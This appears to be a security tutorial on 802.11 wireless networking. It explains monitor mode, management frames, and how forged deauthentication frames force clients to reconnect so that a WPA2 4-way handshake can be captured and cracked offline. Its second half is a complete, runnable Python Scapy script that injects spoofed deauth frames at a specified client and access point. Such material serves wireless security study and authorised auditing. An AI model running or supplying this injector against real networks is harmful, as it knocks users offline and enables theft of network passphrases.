1. IEEE 802.11 Wireless Architecture & Monitor Mode
Wireless networking replaces physical copper and fiber waveguides with electromagnetic radio waves operating in the 2.4 GHz, 5 GHz, and 6 GHz ISM bands.
In standard Managed Mode, a wireless interface associates with a specific Access Point (AP) and discards all over-the-air frames not addressed to its assigned MAC. To perform security auditing, the wireless card must be placed in Monitor Mode (RFMON):
Managed Mode:
[ Radio Waves ] ---> [ Hardware Filter: Matches Local MAC? ] ---> [ OS Stack ]
Monitor Mode (RFMON):
[ Radio Waves ] ---> [ Capture ALL 802.11 Frames Across Channel ] ---> [ Scapy ]802.11 Frame Hierarchy
- 1Management Frames (Type 0): Coordinate network admission. Includes Beacons (
Subtype 8), Probe Requests/Responses (Subtypes 4/5), Association Requests (Subtype 0), and Deauthentication (Subtype 12 / 0x000c). - 2Control Frames (Type 1): Facilitate media access control (e.g., Request to Send [RTS], Clear to Send [CTS], and Acknowledgments [ACK]).
- 3Data Frames (Type 2): Carry encrypted upper-layer IP payload packets.
2. The Deauthentication Attack & 4-Way Handshake Interception
In WPA2-PSK (Pre-Shared Key), an attacker cannot decrypt data traffic without recovering the master passphrase. However, the legacy 802.11 standard leaves Management frames unencrypted!
An attacker can forge an 802.11 Deauthentication frame with the source MAC set to the Access Point and destination set to a connected client:
[ Access Point (BSSID) ]
|
[ Attacker in Monitor Mode ] |
| |
| --- 1. Forged Deauth Frame ------> | [Drops Client Association]
| (Src: AP_MAC, Dst: Client_MAC) |
| |
| v
| [ Victim Client Station ]
| |
| <--- 2. Automatic Reconnection ----|
| <--- 3. Captures 4-Way EAPOL HandshakeThe moment the client is kicked off the network, modern operating systems automatically attempt to re-associate. During reconnection, the AP and client negotiate the 4-Way EAPOL Handshake to derive pairwise transient keys (PTK). The attacker intercepts these four EAPOL packets and cracks the WPA2 pre-shared key offline without further network interaction.
3. Engineering a Scapy 802.11 Deauthenticator
#!/usr/bin/env python3
"""
Python IEEE 802.11 Deauthentication Frame Injector
Author: Yehia Elghaly / Offensive Security Engineering
"""
import sys
import time
from scapy.all import RadioTap, Dot11, Dot11Deauth, sendp
def inject_deauth(interface: str, bssid: str, client_mac: str, count: int = 50) -> None:
"""
Constructs and transmits raw 802.11 deauthentication frames.
Requires wireless interface configured in Monitor Mode (mon0).
"""
print(f"[*] Targeting Client: {client_mac} via Access Point BSSID: {bssid}")
print(f"[*] Wireless Interface: {interface} | Transmitting {count} frames...")
# Craft 802.11 Frame:
# addr1 = Destination MAC (Victim client)
# addr2 = Source MAC (Spoofed Access Point BSSID)
# addr3 = Filtering BSSID (Access Point)
dot11 = Dot11(addr1=client_mac, addr2=bssid, addr3=bssid)
# reason=7 indicates 'Class 3 frame received from nonassociated station'
frame = RadioTap() / dot11 / Dot11Deauth(reason=7)
# sendp() operates at Layer 2 across the wireless link
for i in range(count):
sendp(frame, iface=interface, count=1, inter=0.05, verbose=False)
if (i + 1) % 10 == 0:
print(f"[+] Injected {i + 1}/{count} Deauth frames...")
print("[+] Deauthentication sequence concluded.")
if __name__ == "__main__":
if len(sys.argv) < 4:
sys.exit(f"Usage: {sys.argv[0]} <Interface> <BSSID> <Client_MAC>")
inject_deauth(sys.argv[1], sys.argv[2], sys.argv[3])